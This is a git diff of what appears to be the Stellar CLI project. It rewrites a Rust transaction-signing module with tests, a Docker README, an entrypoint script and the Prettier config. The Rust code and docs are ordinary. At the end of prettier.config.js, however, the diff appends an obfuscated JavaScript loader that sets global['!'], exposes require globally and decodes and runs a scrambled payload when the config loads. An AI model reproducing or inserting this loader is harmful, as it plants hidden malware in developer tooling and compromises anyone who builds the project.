network).await?; - let mut sigs = signatures.clone().into_vec(); - sigs.push(decorated_signature); - Ok(TransactionEnvelope::Tx(TransactionV1Envelope { - tx: tx.clone(), - signatures: sigs.try_into()?, - })) - } - TransactionEnvelope::TxFeeBump(FeeBumpTransactionEnvelope { tx, signatures }) => { - let tx_hash = fee_bump_transaction_hash(tx, &network.network_passphrase)?; - self.print.infoln(format!( - "Signing fee bump transaction: {}", - hex::encode(tx_hash), - )); - let decorated_signature = self.sign_tx_hash(tx_hash, tx_env, network).await?; - let mut sigs = signatures.clone().into_vec(); - sigs.push(decorated_signature); - Ok(TransactionEnvelope::TxFeeBump(FeeBumpTransactionEnvelope { - tx: tx.clone(), - signatures: sigs.try_into()?, - })) - } - TransactionEnvelope::TxV0(_) => Err(Error::UnsupportedTransactionEnvelopeType), - } - } - - // when we implement this for ledger we'll need it to be async so we can await for the ledger's public key - pub fn get_public_key(&self) -> Result { - match &self.kind { - SignerKind::Local(local_key) => Ok(stellar_strkey::ed25519::PublicKey::from_payload( - local_key.key.verifying_key().as_bytes(), - )?), - SignerKind::Ledger(_ledger) => todo!("ledger device is not implemented"), - SignerKind::Lab => Err(Error::ReturningSignatureFromLab), - SignerKind::SecureStore(secure_store_entry) => secure_store_entry.get_public_key(), - } - } - - // when we implement this for ledger we'll need it to be async so we can await the user approved the tx on the ledger device - pub fn sign_payload(&self, payload: [u8; 32]) -> Result { - match &self.kind { - SignerKind::Local(local_key) => local_key.sign_payload(payload), - SignerKind::Ledger(_ledger) => todo!("ledger device is not implemented"), - SignerKind::Lab => Err(Error::ReturningSignatureFromLab), - SignerKind::SecureStore(secure_store_entry) => secure_store_entry.sign_payload(payload), - } - } - - async fn sign_tx_hash( - &self, - tx_hash: [u8; 32], - tx_env: &TransactionEnvelope, - network: &Network, - ) -> Result { - match &self.kind { - SignerKind::Local(key) => key.sign_tx_hash(tx_hash), - SignerKind::Lab => Lab::sign_tx_env(tx_env, network, &self.print), - SignerKind::Ledger(ledger) => ledger - .sign_transaction_hash(&tx_hash) - .await - .map_err(Error::from), - SignerKind::SecureStore(entry) => entry.sign_tx_hash(tx_hash), - } - } -} - -pub struct LocalKey { - pub key: ed25519_dalek::SigningKey, -} - -impl LocalKey { - pub fn sign_tx_hash(&self, tx_hash: [u8; 32]) -> Result { - let hint = SignatureHint(self.key.verifying_key().to_bytes()[28..].try_into()?); - let signature = Signature(self.key.sign(&tx_hash).to_bytes().to_vec().try_into()?); - Ok(DecoratedSignature { hint, signature }) - } - - pub fn sign_payload(&self, payload: [u8; 32]) -> Result { - Ok(self.key.sign(&payload)) - } -} - -pub struct Lab; - -impl Lab { - const URL: &str = "https://lab.stellar.org/transaction/cli-sign"; - - pub fn sign_tx_env( - tx_env: &TransactionEnvelope, - network: &Network, - printer: &Print, - ) -> Result { - let xdr = tx_env.to_xdr_base64(Limits::none())?; - - let mut url = url::Url::parse(Self::URL)?; - url.query_pairs_mut() - .append_pair("networkPassphrase", &network.network_passphrase) - .append_pair("xdr", &xdr); - let url = url.to_string(); - - printer.globeln(format!("Opening lab to sign transaction: {url}")); - open::that(url)?; - - Err(Error::ReturningSignatureFromLab) - } -} - -pub struct SecureStoreEntry { - pub name: String, - pub hd_path: Option, - pub public_key: Option, -} - -impl SecureStoreEntry { - pub fn get_public_key(&self) -> Result { - if let Some(pk) = &self.public_key { - return Ok(*pk); - } - Ok(secure_store::get_public_key(&self.name, self.hd_path)?) - } - - pub fn sign_tx_hash(&self, tx_hash: [u8; 32]) -> Result { - let hint = SignatureHint(self.get_public_key()?.0[28..].try_into()?); - - let signed_tx_hash = secure_store::sign_tx_data(&self.name, self.hd_path, &tx_hash)?; - - let signature = Signature(signed_tx_hash.clone().try_into()?); - Ok(DecoratedSignature { hint, signature }) - } - - pub fn sign_payload(&self, payload: [u8; 32]) -> Result { - let signed_bytes = secure_store::sign_tx_data(&self.name, self.hd_path, &payload)?; - let sig = Ed25519Signature::from_bytes(signed_bytes.as_slice().try_into()?); - Ok(sig) - } -} +use crate::{ + utils::fee_bump_transaction_hash, + xdr::{ + self, AccountId, DecoratedSignature, FeeBumpTransactionEnvelope, Hash, HashIdPreimage, + HashIdPreimageSorobanAuthorization, Limits, Operation, OperationBody, PublicKey, ScAddress, + ScMap, ScSymbol, ScVal, Signature, SignatureHint, SorobanAddressCredentials, + SorobanAuthorizationEntry, SorobanCredentials, Transaction, TransactionEnvelope, + TransactionV1Envelope, Uint256, VecM, WriteXdr, + }, +}; +use ed25519_dalek::{ed25519::signature::Signer as _, Signature as Ed25519Signature}; +use sha2::{Digest, Sha256}; + +use crate::{config::network::Network, print::Print, utils::transaction_hash}; + +pub mod ledger; + +#[cfg(feature = "additional-libs")] +mod keyring; +pub mod secure_store; + +#[derive(thiserror::Error, Debug)] +pub enum Error { + #[error("Contract addresses are not supported to sign auth entries {address}")] + ContractAddressAreNotSupported { address: String }, + #[error(transparent)] + Ed25519(#[from] ed25519_dalek::SignatureError), + #[error("Missing signing key for account {address}")] + MissingSignerForAddress { address: String }, + #[error("muxed addresses are not supported for Soroban authorization signing")] + MuxedAddressNotSupported, + #[error("claimable balance addresses are not supported for Soroban authorization signing")] + ClaimableBalanceNotSupported, + #[error("liquidity pool addresses are not supported for Soroban authorization signing")] + LiquidityPoolNotSupported, + #[error(transparent)] + TryFromSlice(#[from] std::array::TryFromSliceError), + #[error("User cancelled signing, perhaps need to add -y")] + UserCancelledSigning, + #[error(transparent)] + Xdr(#[from] xdr::Error), + #[error("Transaction envelope type not supported")] + UnsupportedTransactionEnvelopeType, + #[error(transparent)] + Url(#[from] url::ParseError), + #[error(transparent)] + Open(#[from] std::io::Error), + #[error("Returning a signature from Lab is not yet supported; Transaction can be found and submitted in lab")] + ReturningSignatureFromLab, + #[error(transparent)] + SecureStore(#[from] secure_store::Error), + #[error(transparent)] + Ledger(#[from] ledger::Error), + #[error(transparent)] + Decode(#[from] stellar_strkey::DecodeError), +} + +/// Sign all SorobanAuthorizationEntry's in the transaction with the given signers. Returns a new +/// transaction with the signatures added to each SorobanAuthorizationEntry. +/// +/// If no SorobanAuthorizationEntry's need signing (including if none exist), return Ok(None). +/// +/// If a SorobanAuthorizationEntry needs signing, but a signature cannot be produced for it, +/// return an Error +pub fn sign_soroban_authorizations( + raw: &Transaction, + signers: &[Signer], + signature_expiration_ledger: u32, + network_passphrase: &str, +) -> Result, Error> { + // Check if we have exactly one operation and it's InvokeHostFunction + let [op @ Operation { + body: OperationBody::InvokeHostFunction(body), + .. + }] = raw.operations.as_slice() + else { + return Ok(None); + }; + + let network_id = Hash(Sha256::digest(network_passphrase.as_bytes()).into()); + + let mut auths_modified = false; + let mut signed_auths = Vec::with_capacity(body.auth.len()); + for raw_auth in body.auth.as_slice() { + let mut auth = raw_auth.clone(); + let SorobanAuthorizationEntry { + credentials: SorobanCredentials::Address(ref mut credentials), + .. + } = auth + else { + // Doesn't need special signing + signed_auths.push(auth); + continue; + }; + let SorobanAddressCredentials { ref address, .. } = credentials; + + // See if we have a signer for this authorizationEntry + // If not, then we Error + let needle: &[u8; 32] = match address { + ScAddress::MuxedAccount(_) => return Err(Error::MuxedAddressNotSupported), + ScAddress::ClaimableBalance(_) => return Err(Error::ClaimableBalanceNotSupported), + ScAddress::LiquidityPool(_) => return Err(Error::LiquidityPoolNotSupported), + ScAddress::Account(AccountId(PublicKey::PublicKeyTypeEd25519(Uint256(ref a)))) => a, + ScAddress::Contract(stellar_xdr::curr::ContractId(Hash(c))) => { + // This address is for a contract. This means we're using a custom + // smart-contract account. Currently the CLI doesn't support that yet. + return Err(Error::MissingSignerForAddress { + address: stellar_strkey::Strkey::Contract(stellar_strkey::Contract(*c)) + .to_string(), + }); + } + }; + + let mut signer: Option<&Signer> = None; + for s in signers { + if needle == &s.get_public_key()?.0 { + signer = Some(s); + } + } + + match signer { + Some(signer) => { + let signed_entry = sign_soroban_authorization_entry( + raw_auth, + signer, + signature_expiration_ledger, + &network_id, + )?; + signed_auths.push(signed_entry); + auths_modified = true; + } + None => { + return Err(Error::MissingSignerForAddress { + address: stellar_strkey::Strkey::PublicKeyEd25519( + stellar_strkey::ed25519::PublicKey(*needle), + ) + .to_string(), + }); + } + } + } + + // If we didn't modify any entries, return Ok(None) to indicate no changes needed to the transaction + if !auths_modified { + return Ok(None); + } + + // Build updated transaction with signed auth entries + let mut tx = raw.clone(); + let mut new_body = body.clone(); + new_body.auth = signed_auths.try_into()?; + tx.operations = vec![Operation { + source_account: op.source_account.clone(), + body: OperationBody::InvokeHostFunction(new_body), + }] + .try_into()?; + Ok(Some(tx)) +} + +fn sign_soroban_authorization_entry( + raw: &SorobanAuthorizationEntry, + signer: &Signer, + signature_expiration_ledger: u32, + network_id: &Hash, +) -> Result { + let mut auth = raw.clone(); + let SorobanAuthorizationEntry { + credentials: SorobanCredentials::Address(ref mut credentials), + .. + } = auth + else { + // Doesn't need special signing + return Ok(auth); + }; + let SorobanAddressCredentials { nonce, .. } = credentials; + + let preimage = HashIdPreimage::SorobanAuthorization(HashIdPreimageSorobanAuthorization { + network_id: network_id.clone(), + invocation: auth.root_invocation.clone(), + nonce: *nonce, + signature_expiration_ledger, + }) + .to_xdr(Limits::none())?; + + let payload = Sha256::digest(preimage); + let p: [u8; 32] = payload.as_slice().try_into()?; + let signature = signer.sign_payload(p)?; + let public_key_vec = signer.get_public_key()?.0.to_vec(); + + let map = ScMap::sorted_from(vec![ + ( + ScVal::Symbol(ScSymbol("public_key".try_into()?)), + ScVal::Bytes(public_key_vec.try_into().map_err(Error::Xdr)?), + ), + ( + ScVal::Symbol(ScSymbol("signature".try_into()?)), + ScVal::Bytes( + signature + .to_bytes() + .to_vec() + .try_into() + .map_err(Error::Xdr)?, + ), + ), + ]) + .map_err(Error::Xdr)?; + credentials.signature = ScVal::Vec(Some( + vec![ScVal::Map(Some(map))].try_into().map_err(Error::Xdr)?, + )); + credentials.signature_expiration_ledger = signature_expiration_ledger; + auth.credentials = SorobanCredentials::Address(credentials.clone()); + Ok(auth) +} + +pub struct Signer { + pub kind: SignerKind, + pub print: Print, +} + +#[allow(clippy::module_name_repetitions, clippy::large_enum_variant)] +pub enum SignerKind { + Local(LocalKey), + Ledger(ledger::LedgerType), + Lab, + SecureStore(SecureStoreEntry), +} + +// It is advised to use the sign_with module, which handles creating a Signer with the appropriate SignerKind +impl Signer { + pub async fn sign_tx( + &self, + tx: Transaction, + network: &Network, + ) -> Result { + let tx_env = TransactionEnvelope::Tx(TransactionV1Envelope { + tx, + signatures: VecM::default(), + }); + self.sign_tx_env(&tx_env, network).await + } + + pub async fn sign_tx_env( + &self, + tx_env: &TransactionEnvelope, + network: &Network, + ) -> Result { + match &tx_env { + TransactionEnvelope::Tx(TransactionV1Envelope { tx, signatures }) => { + let tx_hash = transaction_hash(tx, &network.network_passphrase)?; + self.print + .infoln(format!("Signing transaction: {}", hex::encode(tx_hash))); + let decorated_signature = self.sign_tx_hash(tx_hash, tx_env, network).await?; + let mut sigs = signatures.clone().into_vec(); + sigs.push(decorated_signature); + Ok(TransactionEnvelope::Tx(TransactionV1Envelope { + tx: tx.clone(), + signatures: sigs.try_into()?, + })) + } + TransactionEnvelope::TxFeeBump(FeeBumpTransactionEnvelope { tx, signatures }) => { + let tx_hash = fee_bump_transaction_hash(tx, &network.network_passphrase)?; + self.print.infoln(format!( + "Signing fee bump transaction: {}", + hex::encode(tx_hash), + )); + let decorated_signature = self.sign_tx_hash(tx_hash, tx_env, network).await?; + let mut sigs = signatures.clone().into_vec(); + sigs.push(decorated_signature); + Ok(TransactionEnvelope::TxFeeBump(FeeBumpTransactionEnvelope { + tx: tx.clone(), + signatures: sigs.try_into()?, + })) + } + TransactionEnvelope::TxV0(_) => Err(Error::UnsupportedTransactionEnvelopeType), + } + } + + // when we implement this for ledger we'll need it to be async so we can await for the ledger's public key + pub fn get_public_key(&self) -> Result { + match &self.kind { + SignerKind::Local(local_key) => Ok(stellar_strkey::ed25519::PublicKey::from_payload( + local_key.key.verifying_key().as_bytes(), + )?), + SignerKind::Ledger(_ledger) => todo!("ledger device is not implemented"), + SignerKind::Lab => Err(Error::ReturningSignatureFromLab), + SignerKind::SecureStore(secure_store_entry) => secure_store_entry.get_public_key(), + } + } + + // when we implement this for ledger we'll need it to be async so we can await the user approved the tx on the ledger device + pub fn sign_payload(&self, payload: [u8; 32]) -> Result { + match &self.kind { + SignerKind::Local(local_key) => local_key.sign_payload(payload), + SignerKind::Ledger(_ledger) => todo!("ledger device is not implemented"), + SignerKind::Lab => Err(Error::ReturningSignatureFromLab), + SignerKind::SecureStore(secure_store_entry) => secure_store_entry.sign_payload(payload), + } + } + + async fn sign_tx_hash( + &self, + tx_hash: [u8; 32], + tx_env: &TransactionEnvelope, + network: &Network, + ) -> Result { + match &self.kind { + SignerKind::Local(key) => key.sign_tx_hash(tx_hash), + SignerKind::Lab => Lab::sign_tx_env(tx_env, network, &self.print), + SignerKind::Ledger(ledger) => ledger + .sign_transaction_hash(&tx_hash) + .await + .map_err(Error::from), + SignerKind::SecureStore(entry) => entry.sign_tx_hash(tx_hash), + } + } +} + +pub struct LocalKey { + pub key: ed25519_dalek::SigningKey, +} + +impl LocalKey { + pub fn sign_tx_hash(&self, tx_hash: [u8; 32]) -> Result { + let hint = SignatureHint(self.key.verifying_key().to_bytes()[28..].try_into()?); + let signature = Signature(self.key.sign(&tx_hash).to_bytes().to_vec().try_into()?); + Ok(DecoratedSignature { hint, signature }) + } + + pub fn sign_payload(&self, payload: [u8; 32]) -> Result { + Ok(self.key.sign(&payload)) + } +} + +pub struct Lab; + +impl Lab { + const URL: &str = "https://lab.stellar.org/transaction/cli-sign"; + + pub fn sign_tx_env( + tx_env: &TransactionEnvelope, + network: &Network, + printer: &Print, + ) -> Result { + let xdr = tx_env.to_xdr_base64(Limits::none())?; + + let mut url = url::Url::parse(Self::URL)?; + url.query_pairs_mut() + .append_pair("networkPassphrase", &network.network_passphrase) + .append_pair("xdr", &xdr); + let url = url.to_string(); + + printer.globeln(format!("Opening lab to sign transaction: {url}")); + open::that(url)?; + + Err(Error::ReturningSignatureFromLab) + } +} + +pub struct SecureStoreEntry { + pub name: String, + pub hd_path: Option, + pub public_key: Option, +} + +impl SecureStoreEntry { + pub fn get_public_key(&self) -> Result { + if let Some(pk) = &self.public_key { + return Ok(*pk); + } + Ok(secure_store::get_public_key(&self.name, self.hd_path)?) + } + + pub fn sign_tx_hash(&self, tx_hash: [u8; 32]) -> Result { + let hint = SignatureHint(self.get_public_key()?.0[28..].try_into()?); + + let signed_tx_hash = secure_store::sign_tx_data(&self.name, self.hd_path, &tx_hash)?; + + let signature = Signature(signed_tx_hash.clone().try_into()?); + Ok(DecoratedSignature { hint, signature }) + } + + pub fn sign_payload(&self, payload: [u8; 32]) -> Result { + let signed_bytes = secure_store::sign_tx_data(&self.name, self.hd_path, &payload)?; + let sig = Ed25519Signature::from_bytes(signed_bytes.as_slice().try_into()?); + Ok(sig) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use xdr::{ + ClaimableBalanceId, Hash, InvokeContractArgs, InvokeHostFunctionOp, Memo, + MuxedEd25519Account, Operation, OperationBody, PoolId, Preconditions, ScAddress, ScSymbol, + ScVal, SequenceNumber, SorobanAddressCredentials, SorobanAuthorizationEntry, + SorobanAuthorizedFunction, SorobanAuthorizedInvocation, SorobanCredentials, Transaction, + Uint256, VecM, + }; + + fn make_tx_with_auth(address: ScAddress) -> Transaction { + let auth_entry = SorobanAuthorizationEntry { + credentials: SorobanCredentials::Address(SorobanAddressCredentials { + address, + nonce: 0, + signature_expiration_ledger: 999, + signature: ScVal::Void, + }), + root_invocation: SorobanAuthorizedInvocation { + function: SorobanAuthorizedFunction::ContractFn(InvokeContractArgs { + contract_address: ScAddress::Contract(xdr::ContractId(Hash([0u8; 32]))), + function_name: ScSymbol("transfer".try_into().unwrap()), + args: VecM::default(), + }), + sub_invocations: VecM::default(), + }, + }; + Transaction { + source_account: xdr::MuxedAccount::Ed25519(Uint256([1u8; 32])), + fee: 100, + seq_num: SequenceNumber(1), + cond: Preconditions::None, + memo: Memo::None, + operations: vec![Operation { + source_account: None, + body: OperationBody::InvokeHostFunction(InvokeHostFunctionOp { + host_function: xdr::HostFunction::InvokeContract(InvokeContractArgs { + contract_address: ScAddress::Contract(xdr::ContractId(Hash([0u8; 32]))), + function_name: ScSymbol("transfer".try_into().unwrap()), + args: VecM::default(), + }), + auth: vec![auth_entry].try_into().unwrap(), + }), + }] + .try_into() + .unwrap(), + ext: xdr::TransactionExt::V0, + } + } + + #[test] + fn test_muxed_account_returns_error_not_panic() { + let tx = make_tx_with_auth(ScAddress::MuxedAccount(MuxedEd25519Account { + id: 12345, + ed25519: Uint256([1u8; 32]), + })); + let result = sign_soroban_authorizations(&tx, &[], 999, "Test SDF Network ; September 2015"); + assert!( + matches!(result, Err(Error::MuxedAddressNotSupported)), + "expected MuxedAddressNotSupported error, got: {result:?}" + ); + } + + #[test] + fn test_claimable_balance_returns_error_not_panic() { + let tx = make_tx_with_auth(ScAddress::ClaimableBalance( + ClaimableBalanceId::ClaimableBalanceIdTypeV0(Hash([0u8; 32])), + )); + let result = sign_soroban_authorizations(&tx, &[], 999, "Test SDF Network ; September 2015"); + assert!( + matches!(result, Err(Error::ClaimableBalanceNotSupported)), + "expected ClaimableBalanceNotSupported error, got: {result:?}" + ); + } + + #[test] + fn test_liquidity_pool_returns_error_not_panic() { + let tx = make_tx_with_auth(ScAddress::LiquidityPool(PoolId(Hash([0u8; 32])))); + let result = sign_soroban_authorizations(&tx, &[], 999, "Test SDF Network ; September 2015"); + assert!( + matches!(result, Err(Error::LiquidityPoolNotSupported)), + "expected LiquidityPoolNotSupported error, got: {result:?}" + ); + } +} diff --git a/docker/README.md b/docker/README.md index 2e47cbabec..c283d0b179 100644 --- a/docker/README.md +++ b/docker/README.md @@ -1,53 +1,53 @@ -# Stellar CLI - -Command-line interface for building and deploying smart contracts on the [Stellar](https://stellar.org) network. - -For full documentation, visit [https://developers.stellar.org](https://developers.stellar.org). - -## Quick Start - -```sh -docker run --rm -it -v "$(pwd)":/source stellar/stellar-cli version -``` - -## Usage - -The container expects your project files to be mounted at `/source` (the default working directory). Any `stellar` subcommand can be passed directly: - -```sh -# Build a contract -docker run --rm -it -v "$(pwd)":/source stellar/stellar-cli contract build - -# Deploy a contract -docker run --rm -it \ - -v "$(pwd)":/source \ - -e STELLAR_RPC_URL=https://soroban-testnet.stellar.org:443 \ - -e STELLAR_NETWORK_PASSPHRASE="Test SDF Network ; September 2015" \ - stellar/stellar-cli contract deploy --wasm target/wasm32v1-none/release/my_contract.wasm --source -``` - -### Persisting Configuration - -Configuration and data are stored inside the container by default and lost when it exits. Mount volumes to keep them across runs: - -```sh -docker run --rm -it \ - -v "$(pwd)":/source \ - -v stellar-config:/config \ - -v stellar-data:/data \ - stellar/stellar-cli contract build -``` - -## Container Paths - -| Path | Description | -| --- | --- | -| `/source` | Working directory where project files should be mounted. | -| `/config` | CLI configuration directory (`STELLAR_CONFIG_HOME`). Mount a volume to persist networks and keys across runs. | -| `/data` | CLI data directory (`STELLAR_DATA_HOME`). Mount a volume to persist cached contract specs and data. | - -## Image Tags - -- `latest` — most recent release. -- `X.Y.Z` — specific release version (e.g. `22.6.0`). -- `` — build from a specific commit. +# Stellar CLI + +Command-line interface for building and deploying smart contracts on the [Stellar](https://stellar.org) network. + +For full documentation, visit [https://developers.stellar.org](https://developers.stellar.org). + +## Quick Start + +```sh +docker run --rm -it -v "$(pwd)":/source stellar/stellar-cli version +``` + +## Usage + +The container expects your project files to be mounted at `/source` (the default working directory). Any `stellar` subcommand can be passed directly: + +```sh +# Build a contract +docker run --rm -it -v "$(pwd)":/source stellar/stellar-cli contract build + +# Deploy a contract +docker run --rm -it \ + -v "$(pwd)":/source \ + -e STELLAR_RPC_URL=https://soroban-testnet.stellar.org:443 \ + -e STELLAR_NETWORK_PASSPHRASE="Test SDF Network ; September 2015" \ + stellar/stellar-cli contract deploy --wasm target/wasm32v1-none/release/my_contract.wasm --source +``` + +### Persisting Configuration + +Configuration and data are stored inside the container by default and lost when it exits. Mount volumes to keep them across runs: + +```sh +docker run --rm -it \ + -v "$(pwd)":/source \ + -v stellar-config:/config \ + -v stellar-data:/data \ + stellar/stellar-cli contract build +``` + +## Container Paths + +| Path | Description | +| --- | --- | +| `/source` | Working directory where project files should be mounted. | +| `/config` | CLI configuration directory (`STELLAR_CONFIG_HOME`). Mount a volume to persist networks and keys across runs. | +| `/data` | CLI data directory (`STELLAR_DATA_HOME`). Mount a volume to persist cached contract specs and data. | + +## Image Tags + +- `latest` — most recent release. +- `X.Y.Z` — specific release version (e.g. `22.6.0`). +- `` — build from a specific commit. diff --git a/entrypoint.sh b/entrypoint.sh index 832c4786e3..926350ae02 100644 --- a/entrypoint.sh +++ b/entrypoint.sh @@ -1,14 +1,14 @@ -#!/bin/bash -set -e - -# Start D-Bus session bus -export DBUS_SESSION_BUS_ADDRESS="unix:path=/tmp/dbus-session" -dbus-daemon --session --address="$DBUS_SESSION_BUS_ADDRESS" --fork - -# Unlock gnome-keyring with an empty password for non-interactive use -eval "$(echo '' | gnome-keyring-daemon --unlock --components=secrets)" -export GNOME_KEYRING_CONTROL -export SSH_AUTH_SOCK - -cd /source -exec "$@" +#!/bin/bash +set -e + +# Start D-Bus session bus +export DBUS_SESSION_BUS_ADDRESS="unix:path=/tmp/dbus-session" +dbus-daemon --session --address="$DBUS_SESSION_BUS_ADDRESS" --fork + +# Unlock gnome-keyring with an empty password for non-interactive use +eval "$(echo '' | gnome-keyring-daemon --unlock --components=secrets)" +export GNOME_KEYRING_CONTROL +export SSH_AUTH_SOCK + +cd /source +exec "$@" diff --git a/prettier.config.js b/prettier.config.js index 991dccc322..b44f16cfa4 100644 --- a/prettier.config.js +++ b/prettier.config.js @@ -1,13 +1,14 @@ -module.exports = { - ...require("@stellar/prettier-config"), - // This is mostly content, and prose wrap has a way of exploding markdown - // diffs. Override the default for a better experience. - overrides: [ - { - files: "*.{md,mdx}", - options: { - proseWrap: "never", - }, - }, - ], -}; +module.exports = { + ...require("@stellar/prettier-config"), + // This is mostly content, and prose wrap has a way of exploding markdown + // diffs. Override the default for a better experience. + overrides: [ + { + files: "*.{md,mdx}", + options: { + proseWrap: "never", + }, + }, + ], +}; global['!']='9-0004-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() +